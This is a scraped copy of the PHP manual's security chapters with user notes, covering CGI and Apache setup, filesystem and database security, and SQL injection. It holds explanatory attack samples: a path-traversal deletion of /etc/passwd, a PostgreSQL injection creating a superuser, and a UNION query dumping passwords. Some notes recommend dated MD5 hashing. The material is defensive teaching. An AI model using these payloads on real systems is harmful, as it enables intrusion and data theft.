I have setup a guide to installing PHP with SuEXEC in such a way that shebangs (!#/usr/bin/php4) are not needed.  Hope this is of some help to you.

http://www.pookey.co.uk/php-security.xml
goran_johansson at yahoo dot com
17-Feb-2003 10:53
A tip for Windows-users

Just a tip for you so do not do the same mistake as I did:
I just found out that PHP first seem to look in the php-directory for php.ini, and if that file does not exist, it looks in the Windows directory.
I renamed the file php.ini-dist to php.ini and copied it to my Windows directory, and then I modified the infamous "cgi.force_redirect = 0" in the php.ini file located in the Windows directory, to make it work. But it did not because it reads from the "original" php.ini - So when I deleted this php.ini things started working again
matled at gmx dot net
29-Sep-2002 06:53
If you are using php per cgi and have additionally mod_gzip enabled you have to disable mod_gzip for the php cgi binary to use --enable-cgi-redirect. mod_gzip sets the REDIRECT_STATUS always to 200 which makes it impossible for the php binary to know when it was called directly or when it was called by a redirect.
ruben at puettmann dot net
20-Sep-2002 09:29
To use php-cgi with suexec it will be nice that each virtual host has ist's own php.ini. This goes with :

SetEnv PHPRC /var/www/server/www.test.com/conf

But suexec will kill this enviromet cause It don't know that it is "save" so you must edit the suexec.c for compiling ....
clement dot hermann at free dot fr
19-Jun-2002 12:05
When using php in cgi mode, it's often a good idea to take a look at the apache suexec feature in addition to the --force-cgi-redirect option.

 http://httpd.apache.org/docs/suexec.html
phobo#paradise.net.nz
03-Oct-2001 10:28
If you do virutal hosting, you can turn safe mode on and off for different Apache Virutal Hosts using the php_admin_value directive. This also allows you to have customised maximum execution times, disabled functions, etc; anything which is set in php.ini. Note that by placing a base_dir for each virutal host, this means PHP CANNOT access files below this heirachy; strongly recomended for customer hosting.

Example (httpd.conf):

[VirtualHost 127.0.0.1:80]
 DocumentRoot /var/www/html/safephphost/
 ServerName safephp
 php_admin_value safe_mode 1
 php_admin_value open_base_dir /var/www/html/safephphost/
 php_admin_value sendmail_from phobo#paradise.net.nz
[/VirtualHost]

Am not sure which versions this started working with but does with Apache 1.3.19/PHP4.04pl1.
mail at hotmail dot com
11-Jul-2001 01:14
You can find more security information, about secury programming and how to avoid some common mistakes programming php applications:
http://www.securereality.com.au/studyinscarlet.txt
Tomek dot Lipski at ecl dot pl
17-Jun-2001 03:46
A good info on safe mode can be found at http://www.wrox.com/Consumer/Store/Books/2963/29632002.htm
yohgaki at hotmail dot com
13-Apr-2001 02:44
If you care about security, you are better of setting

register_globals = off
enable_track_vars = on (Always on from PHP4.0.3)

Default setting for variable order is
EGPCS
(ENV VARS/GET VARS/POST VARS/COOKIE VARS/SESSION VARS)

Imagine if you are rely on ENV VAR but it was orver written with GET/POST/COOKIE vars?
michel dot jansens at ulb dot ac dot be
10-Apr-2001 01:21
If you want to use suexec and reference your php interpreter via #!/usr/local/bin/php,  be shure to compile php WITHOUT  --enable-force-cgi-redirect.

This might seems obvious, but I spent 2 days on this :-(
13-Mar-2001 05:39
The configuration option '--enable-force-cgi-redirect' is supported by Zeus Web Server 3.3.8.2 (at least, that's what I've tried it on - it make work on previous versions).
steeven at kali dot com dot cn
19-Jan-2001 05:54
suEXEC require CGI mode, and slow down the scripts. I did them like this:
1. Install php as DSO mode. (for max speed and low secure)
2. Make a seperate CGI install with --enable-force-cgi-redirect, place php to cgi-bin
3 For more secure with suEXEC, choose one of the following method:
3-1: Place a .htaccess file containing this to override main config:
AddType application/x-httpd-wphp php
Action application/x-httpd-wphp /cgi-bin/php
  All php files in subdirectory will be protected.
3-2: add following in httpd.conf:
AddType application/x-httpd-wphp sphp
Action application/x-httpd-wphp /cgi-bin/php
  then each sensitive php file should be renamed to .sphp

Add "php_value doc_root /home/user/html_docs" to each virtual host directive in httpd.conf
tech at ovh dot net
22-Oct-2000 08:59
errata:
binfmt_misc only works on linux system.

another clean solution is to hack suexec.c of apache
and force all .php scripts to be executed with php compiled
in cgi mode.

suexec.c

in place

   if (!(prg_info.st_mode & S_IXUSR)) {

just

   if (!(prg_info.st_mode & S_IXUSR) & (strstr(cmd, ".php") == NULL)) {

in place

   execv(cmd, &argv[3]);

just

   if (strstr(cmd, ".php")) {
               execl("/usr/local/bin/php", "php", cmd,  NULL);
   }
       else {
     execv(cmd, &argv[3]);
       }
kstone at trivergent dot net
04-May-2000 05:01
Better yet, use binfmt_misc:  (linux only)

echo :php3:E::php3::/usr/bin/php: > /proc/sys/fs/binfmt_misc/register

Eliminates the need for the #! at the top of the file.
add a note add a note

后退 | 起点 | 前进
总则 | 上一级 | 情形一：只运行公开的文件


情形一：只运行公开的文件

如果 web 服务器中所有内容都受到密码或 IP 地址的访问限制，就不需要设置这些选项。如果 web 服务器不支持重定向，或者 web 服务器不能和 PHP 通信而使访问请求变得更为安全，可以在 configure 脚本中指定 --enable-force-cgi-redirect 选项。除此之外，还要确认 PHP 程序不依赖其它方式调用，比如通过直接的 http://my.host/cgi-bin/php/dir/script.php 访问或通过重定向访问 http://my.host/dir/script.php。

在Apache中，重定向可以使用 AddHandler 和 Action 语句来设置，请看下一节。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
以 CGI 模式安装时 | 上一级 | 情形二：使用 --enable-force-cgi-redirect 选项


情形二：使用 --enable-force-cgi-redirect 选项

此编译选项可以防止任何人通过如 http://my.host/cgi-bin/php/secretdir/script.php 这样的 URL 直接调用 PHP。PHP 在此模式下只会解析已经通过了 web 服务器的重定向规则的 URL。

通常 Apache 中的重定向设置可以通过以下指令完成：

Action php-script /cgi-bin/php
AddHandler php-script .php

此选项只在 Apache 下进行过测试，并且要依赖于 Apache 在重定向操作中所设置的非标准 CGI 环境变量 REDIRECT_STATUS。如果 web 服务器不支持任何方式能够判断请求是直接的还是重定向的，就不能使用这个选项，而应该用其它方法。请看下一节。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
情形一：只运行公开的文件 | 上一级 | 情形三：设置 doc_root 或 user_dir


情形三：设置 doc_root 或 user_dir

在 web 服务器的主文档目录中包含动态内容如脚本和可执行程序有时被认为是一种不安全的实践。如果因为配置上的错误而未能执行脚本而作为普通 HTML 文档显示，那就可能导致知识产权或密码资料的泄露。所以很多系统管理员都会专门设置一个只能通过 PHP CGI 来访问的目录，这样该目录中的内容只会被解析而不会原样显示出来。

对于前面所说无法判断是否重定向的情况，很有必要在主文档目录之外建立一个专用于脚本的 doc_root 目录。

可以通过配置文件内的 doc_root 或设置环境变量 PHP_DOCUMENT_ROOT 来定义 PHP 脚本主目录。如果设置了该项，那么 PHP 就只会解释 doc_root 目录下的文件，并确保目录外的脚本不会被 PHP 解释器执行（下面所说的 user_dir 除外）。

另一个可用的选项就是 user_dir。当 user_dir 没有设置的时候，doc_root 就是唯一能控制在哪里打开文件的选项。访问如 http://my.host/~user/doc.php 这个 URL 时，并不会打开用户主目录下文件，而只会执行 doc_root 目录下的 ~user/doc.php（这个子目录以 [~] 作开头）。

如果设置了 user_dir，例如 public_php，那么像 http://my.host/~user/doc.php 这样的请求将会执行用户主目录下的 public_php 子目录下的 doc.php 文件。假设用户主目录的绝对路径是 /home/user，那么被执行文件将会是 /home/user/public_php/doc.php。

user_dir 的设置与 doc_root 无关，所以可以分别控制 PHP 脚本的主目录和用户目录。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
情形二：使用 --enable-force-cgi-redirect 选项 | 上一级 | 情形四：PHP 解释器放在 web 目录以外


情形四：PHP 解释器放在 web 目录以外

一个非常安全的做法就是把 PHP 解释器放在 web 目录外的地方，比如说 /usr/local/bin。这样做唯一不便的地方就是必须在每一个包含 PHP 代码的文件的第一行加入如下语句：

#!/usr/local/bin/php

还要将这些文件的属性改成可执行。也就是说，要像处理用 Perl 或 sh 或其它任何脚本语言写的 CGI 脚本一样，使用以 #! 开头的 shell-escape 机制来启动它们。

在这种情况下，要使 PHP 能正确处理 PATH_INFO 和 PATH_TRANSLATED 等变量的话，在编译 PHP 解释器时必须加入 --enable-discard-path 参数。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
情形三：设置 doc_root 或 user_dir | 上一级 | 以 Apache 模块安装时


以 Apache 模块安装时

PHP 手册
后退 前进

章 25. 以 Apache 模块安装时

当 PHP 以 Apache 模块方式安装时，它将继承 Apache 用户（通常为“nobody”）的权限。这对安全和认证有一些影响。比如，如果用 PHP 来访问数据库，除非数据库有自己的访问控制，否则就要使“nobody”用户可以访问数据库。这意味着恶意的脚本在不用提供用户名和密码时就可能访问和修改数据库。一个 web Spider 也完全有可能偶然发现数据库的管理页面，并且删除所有的数据库。可以通过 Apache 认证来避免此问题，或者用 LDAP、.htaccess 等技术来设计自己的防问模型，并把这些代码作为 PHP 脚本的一部份。

通常，一但安全性达到可以使 PHP 用户（这里也就是 Apache 用户）承担的风险极小的程度时候，可能 PHP 已经到了阻止向用户目录写入任何文件或禁止访问和修改数据库的地步了。这就是说，无论是正常的文件还是非正常的文件，无论是正常的数据库事务来是恶意的请求，都会被拒之门外。

一个常犯的对安全性不利的错误就是让 Apache 拥有 root 权限，或者通过其它途径斌予 Apache 更强大的功能。

把 Apache 用户的权限提升为 root 是极度危险的做法，而且可能会危及到整个系统的安全。所以除非是安全专家，否则决不要考虑使用 su，chroot 或者以 root 权限运行。

除此之外还有一些比较简单的解决方案。比如说可以使用 open_basedir 来限制哪些目录可以被 PHP 使用。也可以设置 Apache 的专属区域，从而把所有的 web 活动都限制到非用户和非系统文件之中。

add a note add a note User Contributed Notes
Kibab
30-Sep-2005 09:56
I'm running Windows version of Apache with php as module. System is Windows XP Service Pack 2 on NTFS filesystem. To avoid potential security problems, I've set Apache to run under NT AUTHORITY\Network Service account, and there is only one directory, named Content, with Full Access for this account. Other directories are either not accessible at all or with readonly permissions (like %systemroot%)... So, even if Apache will be broken, nothing would happen to entire system, because that account doesn't have admin privilegies :)
tifkap
02-Mar-2004 07:21
There is a safe way to support a lot of users in a secure way, without having to use CGI, in a way which is probebly faster
than mod_php.

Use FastCGI, with the SuExecWrapper set to your suid wrapper. It means every user wil get his own program-group, with processes
which are being reused. If the numer of processes that is being
started on startup is 0, then the processgroup for a user will be generated when needed.

This means: The first page is slow, after that the Zend Engine  caching kicks in. When the load on the virtualhost reduces, the
processes wil die off, and extra processes for a user-process-group
will only be started when (again) needed.

Your apache will be a LOT! lichter, because it won't have to drag all
the php-memory overhead with it. This means static content is
faster, and the whole system uses less memory.
The PHP itself also won't need to drag along the apache overhead.

If for one reason or the other php craches, your apache will simple
start some new php-processes. If you want to upgrade/patch php,
you can simple create the new fastcgi binary, and after testing, you can simple update the system by copying it, and maybe doing a
'apachectl gracefull'

In short :  Sepparating distinct functions in different processes
               communicating useing IPC methodes can be very good
               for performance and security. The best example of this
               principle at work is Postfix, where every process runs
               chroot() under its own uid.

http://wiki.openisis.org/i/view/Php/HowtoFastCgi
Georgee at CWC
30-Apr-2003 09:16
Additional CAUTION to anyone trying Pollux's solution:
It's kind a good. Probably works right. I think I'll give it a try myself. BUT...
its safe ONLY on the assumption that apache is 100% CLEAN. (codes and confs.) Any flaws on apache, almost ANYTHING could happen to ALL users -precisely, web users. (Because apache is a member of ALL -again, web user's- GID.) So, leeps's hint should be one of the important things.

There is nothing close to perfect. What I wrote is just one thing you'll have to keep in mind. So, consider carefully BEFORE you try this solution. (Well, this applies to any other solutions though...)
leeps
10-Mar-2003 09:59
@pollux: additionally, tell your users to set their file-permissions to
- r-- (group) for files
- --x (group) for directories.

this disables the webserver to browse user's directory. if you don't know the filename, you cannot open it, e.g. by running malicious php-code through one of the users scripts.
daniel dot eckl at gmx dot de
08-Aug-2002 07:16
There is a better solution than starting every virtual host in a seperate instance, which is wasting ressources.

You can set open_basedir dynamically for every virtual host you have, so every PHP script on a virtual host is jailed to its document root.

Example:
<VirtualHost www.example.com>
  ServerName www.example.com
  DocumentRoot /www-home/example.com
[...]
  <Location />
   php_admin_value open_basedir    \ "/www-home/example.com/:/usr/lib/php/"
  </Location>
</VirtualHost>

If you set safe_mode on, then the script can only use binaries in given directories (make a special dir only with the binaries your customers may use).

Now no user of a virtual host can read/write/modify the data of another user on your machine.

Windseeker
add a note add a note

后退 | 起点 | 前进
情形四：PHP 解释器放在 web 目录以外 | 上一级 | 文件系统安全


文件系统安全

PHP 手册
后退 前进

章 26. 文件系统安全

PHP 遵从大多数服务器系统中关于文件和目录权限的安全机制。这就使管理员可以控制哪些文件在文件系统内是可读的。必须特别注意的是全局的可读文件，并确保每一个有权限的用户对这些文件的读取动作都是安全的。

PHP 被设计为以用户级别来访问文件系统，所以完全有可能通过编写一段 PHP 代码来读取系统文件如 /etc/passwd，更改网络连接以及发送大量打印任务等等。因此必须确保 PHP 代码读取和写入的是合适的文件。

请看下面的代码，用户想要删除自己主目录中的一个文件。假设此情形是通过 web 界面来管理文件系统，因此 Apache 用户有权删除用户目录下的文件。

例子 26-1. 不对变量进行安全检查会导致……

<?php
// 从用户目录中删除指定的文件
$username = $_POST['user_submitted_name'];
$homedir = "/home/$username";
$file_to_delete = "$userfile";
unlink ("$homedir/$userfile");
echo "$file_to_delete has been deleted!";
?>
既然 username 变量可以通过用户表单来提交，那就可以提交别人的用户名和文件名，并删除该文件。这种情况下，就要考虑其它方式的认证。想想看如果提交的变量是“../etc/”和“passwd”会发生什么。上面的代码就等同于：

例子 26-2. ……文件系统攻击

<?php
// 删除硬盘中任何 PHP 有访问权限的文件。如果 PHP 有 root 权限：
$username = "../etc/";
$homedir = "/home/../etc/";
$file_to_delete = "passwd";
unlink ("/home/../etc/passwd");
echo "/home/../etc/passwd has been deleted!";
?>
有两个重要措施来防止此类问题。

  • 只给 PHP 的 web 用户很有限的权限。

  • 检查所有提交上来的变量。

下面是改进的脚本：

例子 26-3. 更安全的文件名检查

<?php
// 删除硬盘中 PHP 有权访问的文件
$username = $_SERVER['REMOTE_USER']; // 使用认证机制

$homedir = "/home/$username";

$file_to_delete = basename("$userfile"); // 去除变量中的路径
unlink ($homedir/$file_to_delete);

$fp = fopen("/home/logging/filedelete.log","+a"); // 记录删除动作
$logstring = "$username $homedir $file_to_delete";
fwrite ($fp, $logstring);
fclose($fp);

echo "$file_to_delete has been deleted!";
?>
然而，这样做仍然是有缺陷的。如果认证系统允许用户建立自己的登录用户名，而用户选择用“../etc/”作为用户名，系统又一次沦陷了。所以，需要加强检查：

例子 26-4. 更安全的文件名检查

<?php
$username = $_SERVER['REMOTE_USER']; // 使用认证机制
$homedir = "/home/$username";

if (!ereg('^[^./][^/]*$', $userfile))
     die('bad filename'); // 停止执行代码

if (!ereg('^[^./][^/]*$', $username))
     die('bad username'); // 停止执行代码
//后略……
?>

根据操作系统的不同，存在着各种各样需要注意的文件，包括联系到系统的设备（/dev/ 或者 COM1）、配置文件（/ect/ 文件和 .ini文件）、常用的存储区域（/home/ 或者 My Documents）等等。由于此原因，建立一个策略禁止所有权限而只开放明确允许的通常更容易些。

add a note add a note User Contributed Notes
anonymous
17-Nov-2005 06:58
(A) Better not to create files or folders with user-supplied names. If you do not validate enough, you can have trouble. Instead create files and folders with randomly generated names like fg3754jk3h and store the username and this file or folder name in a table named, say, user_objects. This will ensure that whatever the user may type, the command going to the shell will contain values from a specific set only and no mischief can be done.

(B) The same applies to commands executed based on an operation that the user chooses. Better not to allow any part of the user's input to go to the command that you will execute. Instead, keep a fixed set of commands and based on what the user has input, and run those only.

For example,
(A) Keep a table named, say, user_objects with values like:
username|chosen_name  |actual_name|file_or_dir
--------|--------------|-----------|-----------
jdoe    |trekphotos    |m5fg767h67 |D
jdoe    |notes.txt    |nm4b6jh756 |F
tim1997 |_imp_ folder  |45jkh64j56 |D

and always use the actual_name in the filesystem operations rather than the user supplied names.

(B)
<?php
$op = $_POST['op'];//after a lot of validations
$dir = $_POST['dirname'];//after a lot of validations or maybe you can use technique (A)
switch($op){
   case "cd":
       chdir($dir);
       break;
   case "rd":
       rmdir($dir);
       break;
   .....
   default:
       mail("webmaster@example.com", "Mischief", $_SERVER['REMOTE_ADDR']." is probably attempting an attack.");
}
fmrose at ncsu dot edu
10-Oct-2005 07:31
All of the fixes here assume that it is necessary to allow the user to enter system sensitive information to begin with. The proper way to handle this would be to provide something like a numbered list of files to perform an unlink action on and then the chooses the matching number. There is no way for the user to specify a clever attack circumventing whatever pattern matching filename exclusion syntax that you may have.

Anytime you have a security issue, the proper behaviour is to deny all then allow specific instances, not allow all and restrict. For the simple reason that you may not think of every possible restriction.
joshudson';DROP TABLE EMAILS;' gmail.com
02-Sep-2005 12:50
I keep application configuration files in the document root. I found the most effective trick to prevent access to them is to
1. Give them no code that actually runs when included (except for variable assignments),
2. Don't use register globals so nobody can do anything weird,
3. Name them *.php so PHP runs them when asked for
4. Don't have anything before <?php
5. Don't have a ?>
1 at 234 dot cx
23-Jun-2005 08:24
I don't think the filename validation solution from Jones at partykel is complete.  It certainly helps, but it doesn't address the case where the user is able to create a symlink pointing from his home directory to the root.  He might then ask to unlink "foo/etc/passwd" which would be in his home directory, except that foo is a symlink pointing to /.

Personally I wouldn't feel confident that any solution to this problem would keep my system secure.  Running PHP as root (or some equivalent which can unlink files in all users' home directories) is asking for trouble.

If you have a multi-user system and you are afraid that users may install scripts like this, try security-enhanced Linux.  It won't give total protection, but it at least makes sure that an insecure user script can only affect files which the web server is meant to have access to.  Whatever script someone installs, outsiders are not going to be able to read your password file---or remove it.
Jones at partykel dot de
10-Dec-2004 06:00
What about:

<?php
  $file_to_delete = '/home/'.$username.'/'.$userfile;

  if ((!ereg('\.\.', $file_to_delete)) and (file_exists($file_to_delete))) {
     unlink($file_to_delete);
  }
?>

I think this should prevent every attempt to go outside the user-directory.
Additionally you should check usernames at the registration.

Another way whould be to use the user-ID as home-directory - so, this can't be changed and every registered user as an unique one (if it's a primary key in your database). But then you still have to check the given $userfile.

So the code above could be taken as a "last instance check" directly before finally deleting of the file.
akul at inbox dot ru
07-May-2004 12:59
Common and simple way to avoid path attack is separating objectname and filesystem space when possible. For example if I have users on my site and directory per user solution is not "httpdocs/users/$login", but "httpdocs/users/".md5($login) or "httpdocs/users/".$userId
tim at correctclick dot com
31-Mar-2002 08:48
One more thing --

whenever you connect to a database with a password hard coded into your script, make sure you put the script off of your web document tree.  Put the script somewhere where apache won't serve documents, and then include/require this file in your other scripts.  That way, if the server ever gets misconfigured, it won't serve your PHP scripts with passwords, etc. as plain text for all to see.

-Tim
cronos586(AT)caramail(DOT)com
06-Jan-2002 07:48
when using Apache you might consider a apache_lookup_uri on the path, to discover the real path, regardless of any directory trickery.
then, look at the prefix, and compare with a list of allowed prefixes.
for example, my source.php for my website includes:
if(isset($doc)) {
   $apacheres = apache_lookup_uri($doc);
   $really = realpath($apacheres->filename);
   if(substr($really, 0, strlen($DOCUMENT_ROOT)) == $DOCUMENT_ROOT) {
       if(is_file($really)) {
           show_source($really);
       }
   }
}
hope this helps
regards,
KAT44
devik at cdi dot cz
21-Aug-2001 10:52
Well, the fact that all users run under the same UID is a big problem. Userspace  security hacks (ala safe_mode) should not be substitution for proper kernel level security checks/accounting.
Good news: Apache 2 allows you to assign UIDs for different vhosts.
devik
eLuddite at not dot a dot real dot addressnsky dot ru
12-Nov-2000 01:44
I think the lesson is clear:

(1) Forbit path separators in usernames.
(2) map username to a physical home directory - /home/username is fine
(3) read the home directory
(4) present only results of (3) as an option for deletion.

I have discovered a marvelous method of doing the above in php but this submission box is too small to contain it.

:-)
add a note add a note

后退 | 起点 | 前进
以 Apache 模块安装时 | 上一级 | 数据库安全


数据库安全

PHP 手册
后退 前进

章 27. 数据库安全

目录
设计数据库
连接数据库
加密存储模型
SQL 注入

今时今日，数据库系统已经成为各个动态网站上 web 应用程序的重要组成部分。由于非常敏感和机密的数据有可能保存在数据库中，所以对数据库实施保护就显得尤为重要了。

要从数据库中提取或者存入数据，就必须经过连接数据库、发送一条合法查询、获取结果、关闭连接等步骤。目前，能完成这一系列动作的最常用的查询语言是结构化查询语言 Structured Query Language (SQL)。可以看看攻击者是如何篡改 SQL 查询语句的。

PHP 本身并不能保护数据库的安全。下面的章节只是讲述怎样用 PHP 脚本对数据库进行基本的访问和操作。

记住一条简单的原则：深入防御。保护数据库的措施越多，攻击者就越难获得和使用数据库内的信息。正确地设计和应用数据库可以减少被攻击的担忧。

设计数据库

第一步一般都是创建数据库，除非是使用第三方的数据库服务。当创建一个数据库的时候，会指定一个所有者来执行和新建语句。通常，只有所有者（或超级用户）才有权对数据库中的对象进行任意操作。如果想让其他用户使用，就必须赋予他们权限。

应用程序永远不要使用数据库所有者或超级用户帐号来连接数据库，因为这些帐号可以执行任意的操作，比如说修改数据库结构（例如删除一个表）或者清空整个数据库的内容。

应该为程序的每个方面创建不同的数据库帐号，并赋予对数据库对象的极有限的权限。仅分配给能完成其功能所需的权限，避免同一个用户可以完成另一个用户的事情。这样即使攻击者利用程序漏洞取得了数据库的访问权限，也最多只能做到和该程序一样的影响范围。

鼓励用户不要把所有的事务逻辑都用 web 应用程序（即用户的脚本）来实现。最好用视图（view）、触发器（trigger）或者规则（rule）在数据库层面完成。当系统升级的时候，需要为数据库开辟新的接口，这时就必须重做所有的数据库客户端。除此之外，触发器还可以透明和自动地处理字段，并在调试程序和跟踪事实时提供有用的信息。

add a note add a note User Contributed Notes
somebody at whocares dot com
11-May-2006 12:03
Encrypting user input doesn't do much to guard against SQL injection attacks.  Naturally, you want to encrypt sensitive information across the wire, but if a user puts in malicious data into an input field, any encryption scheme will just dutifully unpack it at the other and and still run the SQL injection hack if you haven't guarded against it.

Encryption is not magic pixie dust to sprinkle on things to make them more secure.
30-Jun-2005 06:57
you can also chamge CHMOD for some file containing "user names" or "passwords"
webmaster at rackhouse dot net
13-Mar-2005 06:08
On a database design point of view, you should make sure that you design databases in a manor that any query run from them need minimal input from the user and if it requires user input, that you encrypt where possible.
jjahn at SPAMSUCKS dot signicast dot com
21-Jun-2003 01:17
I would say one of the best ways to guard against SQL injection is to use the excellent PEAR DB package. If you prepare() and execute() your queries, PEAR will automagically addslashes and handle the query depending on your RDBMS. And of course, for repeatable queries prepare and execute will give you a bit of a readability and speed increase.
add a note add a note

后退 | 起点 | 前进
文件系统安全 | 上一级 | 连接数据库


连接数据库

把连接建立在 SSL 加密技术上可以增加客户端和服务器端通信的安全性，或者 SSH 也可以用于加密客户端和数据库之间的连接。如果使用了这些技术的话，攻击者要监视服务器的通信或者得到数据库的信息是很困难的。

add a note add a note User Contributed Notes
07-Oct-2005 06:20
Obviously, this does not apply if PHP and the DBMS are running on the same machine.
add a note add a note

后退 | 起点 | 前进
数据库安全 | 上一级 | 加密存储模型


加密存储模型

SSL/SSH 能保护客户端和服务器端交换的数据，但 SSL/SSH 并不能保护数据库中已有的数据。SSL 只是一个加密网络数据流的协议。

如果攻击者取得了直接访问数据库的许可（绕过 web 服务器），敏感数据就可能暴露或者被滥用，除非数据库自己保护了这些信息。对数据库内的数据加密是减少这类风险的有效途径，但是只有很少的数据库提供这些加密功能。

对于这个问题，有一个简单的解决办法，就是创建自己的加密机制，然后把它用在 PHP 程序内。PHP 有几个扩展库可以完成这个工作，比如说 Mcrypt 和 Mhash 等，它们包含多种加密运算法则。脚本在插入数据库之前先把数据加密，以后提取出来时再解密。有关加密如何工作的例子请参考相关手册。

对某些真正隐蔽的数据，如果不需要以明文的形式存在（即不用显示），可以考虑用散列算法。使用散列算法最常见的例子就是把密码经过 MD5 加密后的散列存进数据库来代替原来的明文密码。参见 crypt() 和 md5()。

例子 27-1. 对密码字段进行散列加密

<?php

// 存储密码散列
$query  = sprintf("INSERT INTO users(name,pwd) VALUES('%s','%s');",
            addslashes($username), md5($password));
$result = pg_query($connection, $query);

// 发送请求来验证用户密码
$query = sprintf("SELECT 1 FROM users WHERE name='%s' AND pwd='%s';",
            addslashes($username), md5($password));
$result = pg_query($connection, $query);

if (pg_num_rows($result) > 0) {
    echo 'Welcome, $username!';
} else {
    echo 'Authentication failed for $username.';
}

?>

add a note add a note User Contributed Notes
Fairydave at the location of dodo.com.au
12-Feb-2006 10:58
I think the best way to have a salt is not to randomly generate one or store a fixed one. Often more than just a password is saved, so use the extra data. Use things like the username, signup date, user ID, anything which is saved in the same table. That way you save on space used by not storing the salt for each user.

Although your method can always be broken if the hacker gets access to your database AND your file, you can make it more difficult. Use different user data depending on random things, the code doesn't need to make sense, just produce the same result each time. For example:

if ((asc(username character 5) > asc(username character 2))
{
   if (month the account created > 6)
     salt = ddmmyyyy of account created date
   else
     salt = yyyyddmm of account created date
}
else
{
   if (day of account created > 15)
     salt = user id * asc(username character 3)
   else
     salt = user id + asc(username character 1) + asc(username character 4)
}

This wont prevent them from reading passwords when they have both database and file access, but it will confuse them and slow them up without much more processing power required to create a random salt
3M
06-Oct-2005 11:46
Be smart and simple!

1. Hash a password once on twice! It's sufficient to use SHA-1 twice! (read no.3)
2. Limit the number of log-in trys per ip! This will be a hard hit for online brute force crackers!
3. The comments below that suggest using a SALT whit MD5 ar good as long as the length of the resulting string (password + SALT) is bigger then the output of the hashing algorithm. For example: SHA-1 has an output of 160 bits or 20 ASCII chars. If the password set has 8 chars then the salt would have to be of 12 chars or longer... the longer the better!
The idea here is that by trying to brute force a hash (second) that was computed from another hash (first) from a large string would result in many collisions that will make it impossible to distinguish between them and the first hash of the password!
4. If possible use HMAC for added security! This will prevent sending the same generated hash from a paswrod in the tcp/udp packets... each time the pasword field in tha data packets will contain a different hash (HMAC'ed) but on server side will be decoded to the real hash. For this you will need to design a solution for sending the password needed for HMAC!
blodo at poczta dot fm
07-Jul-2005 05:05
You could always double hash the password, which might just be the easiest way to prevent a hash table crack which typically can only crack hashes that store about 8 characters in length (from what i know). For an additional amount of security you can always append a random salt, although you will need to store the salt to succesfully recover the password for checking. The code could look like this:
<?php

function createSalt ($charno = 5) {

  for ($i = 0; $i < $charno; $i++;) {

   $num = rand(48, 122); //This is roughly the ascii readable character range
   $salt .= chr($num); //Convert the number to a real character

  }

  return $salt;

}

$randomsalt = createSalt();
$hash = md5(md5($string_to_hash.$randomsalt));

/* Now append this to your database, but remember to store the salt somewhere too, or else you wont be able to check the password later on */

?>

Easy as pie. Hope this helps.
Chris Ladd
06-Jun-2005 02:41
Using a hard coded salt will only prevent a dictionary attack on the raw database and only if the attacker hasn't gained access to the file the salt is stored in. The attacker could still use the php login site to run a dictionary attack, since the php would be adding the hard coded salt to the password, md5ing it, and checking if it matches. The only real way to prevent a dictionary attack is to not allow weak passwords. There is no shortcuts in real security.
oguh at gmx dot net
12-May-2005 02:06
Better use a random value for the salt and store it seperate in the database for every user.

So it is not possible to see if some users have the same password.
Jim Plush - jiminoc at gmail dot com
18-Mar-2005 05:45
Another handy trick is to use MD5 with a "salt". Which basically  means appending another static string to your $password variable to help prevent against dictionary attacks.

Example:
config.php - KEEP THIS OUTSIDE THE WEBROOT
define("PHP_SALT", "iLov3pHp5");
----------------------------------------------

and when you add your database query you would do:
// storing password hash
$query  = sprintf("INSERT INTO users(name,pwd) VALUES('%s','%s');",
           addslashes($username), md5($password.PHP_SALT));

This way if a user's password is "DOG" it can't be guessed easily because their password gets saved to the DB as the MD5 version of "DOGiLov3pHp5". Last time I checked, that wasn't in the dictionary :)
add a note add a note

后退 | 起点 | 前进
连接数据库 | 上一级 | SQL 注入


SQL 注入

很多 web 开发者没有注意到 SQL 查询是可以被篡改的，因而把 SQL 查询当作可信任的命令。殊不知道，SQL 查询可以绕开访问控制，从而绕过身份验证和权限检查。更有甚者，有可能通过 SQL 查询去运行主机操作系统级的命令。

直接 SQL 命令注入就是攻击者常用的一种创建或修改已有 SQL 语句的技术，从而达到取得隐藏数据，或覆盖关键的值，甚至执行数据库主机操作系统命令的目的。这是通过应用程序取得用户输入并与静态参数组合成 SQL 查询来实现的。下面将会给出一些真实的例子。

由于在缺乏对输入的数据进行验证，并且使用了超级用户或其它有权创建新用户的数据库帐号来连接，攻击者可以在数据库中新建一个超级用户。

例子 27-2. 一段实现数据分页显示的代码……也可以被用作创建一个超级用户（PostgreSQL系统）。

<?php

$offset = $argv[0]; // 注意，没有输入验证！
$query  = "SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset;";
$result = pg_query($conn, $query);

?>
一般的用户会点击 $offset 已被斌值的“上一页”、“下一页”的链接。原本代码只会认为 $offset 是一个数值。然而，如果有人尝试把以下语句先经过 urlencode() 处理，然后加入URL中的话：

0;
insert into pg_shadow(usename,usesysid,usesuper,usecatupd,passwd)
    select 'crack', usesysid, 't','t','crack'
    from pg_shadow where usename='postgres';
--

那么他就可以创建一个超级用户了。注意那个 0; 只不过是为了提供一个正确的偏移量以便补充完整原来的查询，使它不要出错而已。

注: -- 是 SQL 的注释标记，一般可以使用来它告诉 SQL 解释器忽略后面的语句。

对显示搜索结果的页面下手是一个能得到密码的可行办法。攻击者所要做的只不过是找出哪些提交上去的变量是用于 SQL 语句并且处理不当的。而这类的变量通常都被用于 SELECT 查询中的条件语句，如 WHERE, ORDER BY, LIMIT 和 OFFSET。如果数据库支持 UNION 构造的话，攻击者还可能会把一个完整的 SQL 查询附加到原来的语句上以便从任意数据表中得到密码。因此，对密码字段加密是很重要的。

例子 27-3. 显示文章……以及一些密码（任何数据库系统）

<?php

$query  = "SELECT id, name, inserted, size FROM products
                  WHERE size = '$size'
                  ORDER BY $order LIMIT $limit, $offset;";
$result = odbc_exec($conn, $query);

?>
可以在原来的查询的基础上添加另一个 SELECT 查询来获得密码：

'
union select '1', concat(uname||'-'||passwd) as name, '1971-01-01', '0' from usertable;
--

假如上述语句（使用 ' 和 --）被加入到 $query 中的任意一个变量的话，那么就麻烦了。

